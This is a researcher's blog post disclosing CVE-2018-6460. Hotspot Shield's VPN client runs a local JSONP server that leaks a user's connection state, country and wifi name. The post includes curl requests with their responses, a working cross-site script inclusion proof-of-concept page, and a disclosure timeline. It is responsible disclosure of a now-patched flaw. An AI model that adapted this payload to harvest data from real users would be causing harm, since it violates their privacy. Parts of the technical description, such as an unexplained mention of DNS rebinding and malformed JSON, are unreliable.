Hotspot Shield CVE-2018-6460, Sensitive Information Disclosure with XSSI

Lately, I’ve been interested in VPN clients. I was focusing my research on paid commercial VPN clients with 2M+ installs. one of the clients that stood out was Hotspot Shield, with similar builds on Android, Windows and Chrome. With each carrying over 3M+ installs worldwide.

While analyzing this application, I noticed its riddled with bugs that allow sensitive information disclosure. In this blog post, I will explore how it is possible to leak a user’s data, such as what wifi they are connected to while they are using Hotspot Shield.

Update Feb 8th, 2018: Hotspot Shield have released a patch that fixes these issues in version 7.4.6.

Details

Hotspot Shiled when turned on runs its own web server to communicate with its own VPN client. The server runs on a hardcoded host 127.0.0.1 and port 895. It hosts vital JSONP endpoints that return multiple interesting values and configuration data.

for example, http://localhost:895/status.js generates a sensitive JSON response that reveals whether the user is connected to VPN, to which VPN he/she is connected to what and what vpn network they are connected to, their country, network (wifi) name other information. There are other multiple endpoints that return sensitive data including configuration details.

$ curl -si http://127.0.0.1:895/status.js
HTTP/1.0 200 OK

{

“connect_state": "CONNECTED",

"daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"}

}

While that endpoint is presented without any authorization, status.js is actually a JSON endpoint so there are no sensitive functions to override, but when we send the parameter func with $_APPLOG.Rfunc, it returns that function as a JSONP name. We can obviously override this in our malicious page and steal its contents by supplying a tm parameter timestamp, that way we can provide a logtime.

$ curl -si http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm=1511564738932
HTTP/1.0 200 OK

$_APPLOG.Rfunc({

“connect_state": "CONNECTED",

"daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"

}})

After the cache responses expire, the resolution will alternate between those two IP addresses and our binded ip address can steal the sensitive response with the following payload.

<script>

var $_APPLOG = function() { return 1; }

$_APPLOG.Rfunc = function(leak){

   alert(JSON.stringify(leak));

}

</script>

</head>

<script>

   var head = document.getElementsByTagName('head')[0];

   var script = document.createElement('script');

   script.id = 'jsonp';

   script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());

   head.appendChild(script);

</script>

Timeline

Mid November - multiple attempts to contact AnchorFree and HSS engineers.
Tue, Nov 28, 2017 - contacted Beyond Security's SSD for assistance with disclosure.
Sat, Jan 27, 2018 - beyond security confirms they've got neither a response nor an ETA for a fix.
Tue, Jan 30, 2018 - public disclosure as an SSD advisory (0day)
Wed, Jan 31, 2018 - CVE-2018-6460 assigned.
Wed, Feb 7th, 2018 - patch released with version 7.4.6